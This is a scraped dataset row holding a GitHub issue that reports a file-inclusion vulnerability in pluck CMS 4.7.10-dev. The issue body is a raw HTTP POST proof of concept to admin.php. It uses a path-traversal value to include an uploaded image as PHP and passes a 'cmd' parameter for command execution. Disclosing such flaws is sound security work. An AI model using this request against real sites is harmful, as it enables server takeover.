POST /pluck-4.7.10-dev1/admin.php?action=language HTTP/1.1
Host: 127.0.0.1:83
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://127.0.0.1:83/pluck-4.7.10-dev1/admin.php?action=language
Cookie: LQUKaS_admin_username=admin; Hm_lvt_f6f37dc3416ca514857b78d0b158037e=1570503836; PHPSESSID=a0bhen6shpeifgc20p0l23pmj1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 70
cont1=../../../images/php.jpg&save=%E5%82%A8%E5%AD%98&cmd=echo "2333"; | File contains vuln pluck 4.7.10 dev version | https://api.github.com/repos/pluck-cms/pluck/issues/79/comments | 2 | 2019-10-12T02:21:22Z | 2019-11-01T18:58:02Z | https://github.com/pluck-cms/pluck/issues/79 | 506,117,765 | 79 | 5,289 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.